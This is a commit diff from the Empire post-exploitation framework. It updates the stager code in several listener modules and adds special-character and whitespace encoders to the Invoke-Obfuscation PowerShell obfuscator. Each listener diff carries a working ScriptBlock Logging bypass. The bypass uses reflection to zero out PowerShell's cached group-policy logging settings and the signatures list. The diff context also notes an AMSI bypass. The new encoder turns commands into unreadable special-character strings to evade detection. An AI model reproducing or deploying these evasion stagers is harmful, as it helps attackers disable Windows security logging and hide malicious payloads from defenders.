Merge pull request #826 from cobbr/empire-dev
Obfuscation bug fixes/improvements, ScriptBlockLogging bypass updatereadme-wiki
commit
c5ee1841ed
|
@ -838,7 +838,7 @@ class MainMenu(cmd.Cmd):
|
|||
if obfuscate_all:
|
||||
files = [file for file in helpers.get_module_source_files()]
|
||||
else:
|
||||
files = [self.installPath + 'data/module_source/' + module]
|
||||
files = ['data/module_source/' + module]
|
||||
for file in files:
|
||||
file = self.installPath + file
|
||||
if reobfuscate or not helpers.is_obfuscated(file):
|
||||
|
|
|
@ -807,7 +807,7 @@ def obfuscate(installPath, psScript, obfuscationCommand):
|
|||
toObfuscateFile.write(psScript)
|
||||
toObfuscateFile.close()
|
||||
# Obfuscate using Invoke-Obfuscation w/ PowerShell
|
||||
subprocess.call("powershell -C '$ErrorActionPreference = \"SilentlyContinue\";Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
|
||||
subprocess.call("%s -C '$ErrorActionPreference = \"SilentlyContinue\";Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (get_powershell_name(), toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
|
||||
obfuscatedFile = open(obfuscatedFilename , 'r')
|
||||
# Obfuscation writes a newline character to the end of the file, ignoring that character
|
||||
psScript = obfuscatedFile.read()[0:-1]
|
||||
|
@ -845,11 +845,18 @@ def is_obfuscated(moduleSource):
|
|||
return os.path.isfile(obfuscatedSource)
|
||||
|
||||
def is_powershell_installed():
|
||||
return (get_powershell_name() != "")
|
||||
|
||||
def get_powershell_name():
|
||||
try:
|
||||
powershell_location = subprocess.check_output("which powershell", shell=True)
|
||||
except subprocess.CalledProcessError as e:
|
||||
return False
|
||||
return True
|
||||
try:
|
||||
powershell_location = subprocess.check_output("which pwsh", shell=True)
|
||||
except subprocess.CalledProcessError as e:
|
||||
return ""
|
||||
return "pwsh"
|
||||
return "powershell"
|
||||
|
||||
def convert_obfuscation_command(obfuscate_command):
|
||||
return "".join(obfuscate_command.split()).replace(",",",home,").replace("\\",",")
|
||||
|
|
|
@ -189,16 +189,23 @@ class Listener:
|
|||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += helpers.randomize_capitalization("){$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
|
||||
stager += "('EnableScriptB'+'lockLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$val.Add")
|
||||
stager += "('EnableScriptBlockInvocationLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("=$val}")
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
|
|
@ -205,16 +205,23 @@ class Listener:
|
|||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += helpers.randomize_capitalization("){$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
|
||||
stager += "('EnableScriptB'+'lockLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$val.Add")
|
||||
stager += "('EnableScriptBlockInvocationLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("=$val}")
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
|
|
@ -186,16 +186,23 @@ class Listener:
|
|||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += helpers.randomize_capitalization("){$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
|
||||
stager += "('EnableScriptB'+'lockLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$val.Add")
|
||||
stager += "('EnableScriptBlockInvocationLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("=$val}")
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
|
|
@ -160,16 +160,23 @@ class Listener:
|
|||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += helpers.randomize_capitalization("){$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
|
||||
stager += "('EnableScriptB'+'lockLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$val.Add")
|
||||
stager += "('EnableScriptBlockInvocationLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("=$val}")
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
|
|
@ -139,16 +139,23 @@ class Listener:
|
|||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += helpers.randomize_capitalization("){$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
|
||||
stager += "('EnableScriptB'+'lockLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$val.Add")
|
||||
stager += "('EnableScriptBlockInvocationLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("=$val}")
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
|
|
@ -189,20 +189,26 @@ class Listener:
|
|||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += helpers.randomize_capitalization("){$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
|
||||
stager += "('EnableScriptB'+'lockLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$val.Add")
|
||||
stager += "('EnableScriptBlockInvocationLogging',0);"
|
||||
stager += helpers.randomize_capitalization("$GPC")
|
||||
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("=$val}")
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
stager += "};"
|
||||
|
||||
# @mattifestation's AMSI bypass
|
||||
stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
|
||||
|
|
|
@ -252,6 +252,8 @@ http://www.danielbohannon.com
|
|||
$MenuLevel_Encoding += , @($LineSpacing, '4' , "`tEncode entire command as <Binary>" , @('Out-EncodedBinaryCommand' , '', ''))
|
||||
$MenuLevel_Encoding += , @($LineSpacing, '5' , "`tEncrypt entire command as <SecureString> (AES)" , @('Out-SecureStringCommand' , '', ''))
|
||||
$MenuLevel_Encoding += , @($LineSpacing, '6' , "`tEncode entire command as <BXOR>" , @('Out-EncodedBXORCommand' , '', ''))
|
||||
$MenuLevel_Encoding += , @($LineSpacing, '7' , "`tEncode entire command as <Special Characters>" , @('Out-EncodedSpecialCharOnlyCommand' , '', ''))
|
||||
$MenuLevel_Encoding += , @($LineSpacing, '8' , "`tEncode entire command as <Whitespace>" , @('Out-EncodedWhitespaceCommand' , '', ''))
|
||||
|
||||
# Main\Launcher Menu.
|
||||
$MenuLevel_Launcher = @()
|
||||
|
@ -1188,6 +1190,14 @@ http://www.danielbohannon.com
|
|||
$Script:ObfuscatedCommand = Out-EncodedBXORCommand -ScriptBlock $ObfCommandScriptBlock -PassThru
|
||||
$CmdToPrint = @("Out-EncodedBXORCommand -ScriptBlock "," -PassThru")
|
||||
}
|
||||
'Out-EncodedSpecialCharOnlyCommand' {
|
||||
$Script:ObfuscatedCommand = Out-EncodedSpecialCharOnlyCommand -ScriptBlock $ObfCommandScriptBlock -PassThru
|
||||
$CmdToPrint = @("Out-EncodedSpecialCharOnlyCommand -ScriptBlock "," -PassThru")
|
||||
}
|
||||
'Out-EncodedWhitespaceCommand' {
|
||||
$Script:ObfuscatedCommand = Out-EncodedWhitespaceCommand -ScriptBlock $ObfCommandScriptBlock -PassThru
|
||||
$CmdToPrint = @("Out-EncodedWhitespaceCommand -ScriptBlock "," -PassThru")
|
||||
}
|
||||
'Out-PowerShellLauncher' {
|
||||
# Extract numbers from string so we can output proper flag syntax in ExecutionCommands history.
|
||||
$SwitchesAsStringArray = [char[]]$Token | Sort-Object -Unique | Where-Object {$_ -ne ' '}
|
||||
|
@ -1410,7 +1420,7 @@ http://www.danielbohannon.com
|
|||
Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan
|
||||
Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow
|
||||
Write-Host ".`nA Launcher has been applied so this script cannot be run as a standalone .ps1 file." -ForegroundColor Cyan
|
||||
C:\Windows\Notepad.exe $OutputFilePath
|
||||
If($Env:windir) { C:\Windows\Notepad.exe $OutputFilePath }
|
||||
}
|
||||
ElseIf(!$Script:LauncherApplied -AND (Test-Path $OutputFilePath))
|
||||
{
|
||||
|
@ -1418,7 +1428,7 @@ C:\Windows\Notepad.exe $OutputFilePath
|
|||
Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan
|
||||
Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow
|
||||
Write-Host "." -ForegroundColor Cyan
|
||||
C:\Windows\Notepad.exe $OutputFilePath
|
||||
If($Env:windir) { C:\Windows\Notepad.exe $OutputFilePath }
|
||||
}
|
||||
Else
|
||||
{
|
||||
|
@ -2091,7 +2101,7 @@ http://www.danielbohannon.com
|
|||
Write-Host "`tTwitter :: @danielhbohannon" -ForegroundColor Magenta
|
||||
Write-Host "`tBlog :: http://danielbohannon.com" -ForegroundColor Magenta
|
||||
Write-Host "`tGithub :: https://github.com/danielbohannon/Invoke-Obfuscation" -ForegroundColor Magenta
|
||||
Write-Host "`tVersion :: 1.7" -ForegroundColor Magenta
|
||||
Write-Host "`tVersion :: 1.8" -ForegroundColor Magenta
|
||||
Write-Host "`tLicense :: Apache License, Version 2.0" -ForegroundColor Magenta
|
||||
Write-Host "`tNotes :: If(!`$Caffeinated) {Exit}" -ForegroundColor Magenta
|
||||
}
|
||||
|
|
|
@ -51,7 +51,7 @@ PowerShellVersion = '2.0'
|
|||
PowerShellHostVersion = '2.0'
|
||||
|
||||
# Script files (.ps1) that are run in the caller's environment prior to importing this module
|
||||
ScriptsToProcess = @('Out-ObfuscatedTokenCommand.ps1','Out-ObfuscatedStringCommand.ps1','Out-EncodedAsciiCommand.ps1','Out-EncodedHexCommand.ps1','Out-EncodedOctalCommand.ps1','Out-EncodedBinaryCommand.ps1','Out-SecureStringCommand.ps1','Out-EncodedBXORCommand.ps1','Out-PowerShellLauncher.ps1','Invoke-Obfuscation.ps1')
|
||||
ScriptsToProcess = @('Out-ObfuscatedTokenCommand.ps1','Out-ObfuscatedStringCommand.ps1','Out-EncodedAsciiCommand.ps1','Out-EncodedHexCommand.ps1','Out-EncodedOctalCommand.ps1','Out-EncodedBinaryCommand.ps1','Out-SecureStringCommand.ps1','Out-EncodedBXORCommand.ps1','Out-EncodedSpecialCharOnlyCommand.ps1','Out-EncodedWhitespaceCommand.ps1','Out-PowerShellLauncher.ps1','Invoke-Obfuscation.ps1')
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = '*'
|
||||
|
|
|
@ -356,7 +356,6 @@ http://www.danielbohannon.com
|
|||
# Build up the full command-line string.
|
||||
If($PSBoundParameters['Wow64'])
|
||||
{
|
||||
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
|
||||
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
Else
|
||||
|
|
|
@ -375,7 +375,6 @@ http://www.danielbohannon.com
|
|||
# Build up the full command-line string.
|
||||
If($PSBoundParameters['Wow64'])
|
||||
{
|
||||
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
|
||||
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
Else
|
||||
|
|
|
@ -365,7 +365,6 @@ http://www.danielbohannon.com
|
|||
# Build up the full command-line string.
|
||||
If($PSBoundParameters['Wow64'])
|
||||
{
|
||||
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
|
||||
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
Else
|
||||
|
|
|
@ -365,7 +365,6 @@ http://www.danielbohannon.com
|
|||
# Build up the full command-line string.
|
||||
If($PSBoundParameters['Wow64'])
|
||||
{
|
||||
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
|
||||
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
Else
|
||||
|
|
|
@ -360,7 +360,6 @@ http://www.danielbohannon.com
|
|||
# Build up the full command-line string.
|
||||
If($PSBoundParameters['Wow64'])
|
||||
{
|
||||
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
|
||||
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
|
||||
}
|
||||
Else
|
||||
|
|
|
@ -0,0 +1,394 @@
|
|||
# This file is part of Invoke-Obfuscation.
|
||||
#
|
||||
# Copyright 2017 Daniel Bohannon <@danielhbohannon>
|
||||
# while at Mandiant <http://www.mandiant.com>
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
|
||||
|
||||
Function Out-EncodedSpecialCharOnlyCommand
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Generates Special-Character-Only encoded payload for a PowerShell command or script. Optionally it adds command line output to final command.
|
||||
All credit for this encoding technique goes to 牟田口大介 (@mutaguchi) who blogged about it in 2010: http://perl-users.jp/articles/advent-calendar/2010/sym/11
|
||||
|
||||
Invoke-Obfuscation Function: Out-EncodedSpecialCharOnlyCommand
|
||||
Author: Daniel Bohannon (@danielhbohannon)
|
||||
License: Apache License, Version 2.0
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Out-EncodedSpecialCharOnlyCommand encodes an input PowerShell scriptblock or path as a Special-Character-Only payload. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach.
|
||||
|
||||
.PARAMETER ScriptBlock
|
||||
|
||||
Specifies a scriptblock containing your payload.
|
||||
|
||||
.PARAMETER Path
|
||||
|
||||
Specifies the path to your payload.
|
||||
|
||||
.PARAMETER NoExit
|
||||
|
||||
Outputs the option to not exit after running startup commands.
|
||||
|
||||
.PARAMETER NoProfile
|
||||
|
||||
Outputs the option to not load the Windows PowerShell profile.
|
||||
|
||||
.PARAMETER NonInteractive
|
||||
|
||||
Outputs the option to not present an interactive prompt to the user.
|
||||
|
||||
.PARAMETER NoLogo
|
||||
|
||||
Outputs the option to not present the logo to the user.
|
||||
|
||||
.PARAMETER Wow64
|
||||
|
||||
Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
|
||||
|
||||
.PARAMETER Command
|
||||
|
||||
Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt.
|
||||
|
||||
.PARAMETER WindowStyle
|
||||
|
||||
Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
|
||||
|
||||
.PARAMETER ExecutionPolicy
|
||||
|
||||
Outputs the option to set the default execution policy for the current session.
|
||||
|
||||
.PARAMETER PassThru
|
||||
|
||||
(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Out-EncodedSpecialCharOnlyCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive
|
||||
|
||||
powershell -NoProf -NonIn "${ }= + $() ; ${ }=${ };${ } = ++ ${ }; ${ }=++${ } ;${ }=++${ };${ } =++ ${ } ; ${ } = ++${ };${ } =++ ${ } ; ${ }= ++${ } ;${ } = ++ ${ } ; ${ }=++ ${ } ;${ }=\"[\"+ \"$( @{ } ) \"[ ${ }]+\"$(@{ })\"[\"${ }${ }\"]+ \"$( @{ } ) \"[\"${ }${ }\"]+ \"$?\"[${ } ] + \"]\" ;${ } = \"\".(\"$( @{ } ) \"[\"${ }${ }\" ] + \"$( @{ } ) \"[ \"${ }${ }\"]+ \"$( @{ } ) \"[${ }] +\"$( @{ } ) \"[${ } ]+ \"$?\"[${ } ] +\"$( @{ } ) \"[${ }] ) ; ${ }= \"$( @{ } ) \"[ \"${ }${ }\"]+ \"$( @{ } ) \"[ ${ }] +\"${ }\"[ \"${ }${ }\"] ; & ${ }( \" ${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }+${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ } +${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }+${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }^|${ } \" )"
|
||||
|
||||
C:\PS> Out-EncodedSpecialCharOnlyCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru
|
||||
|
||||
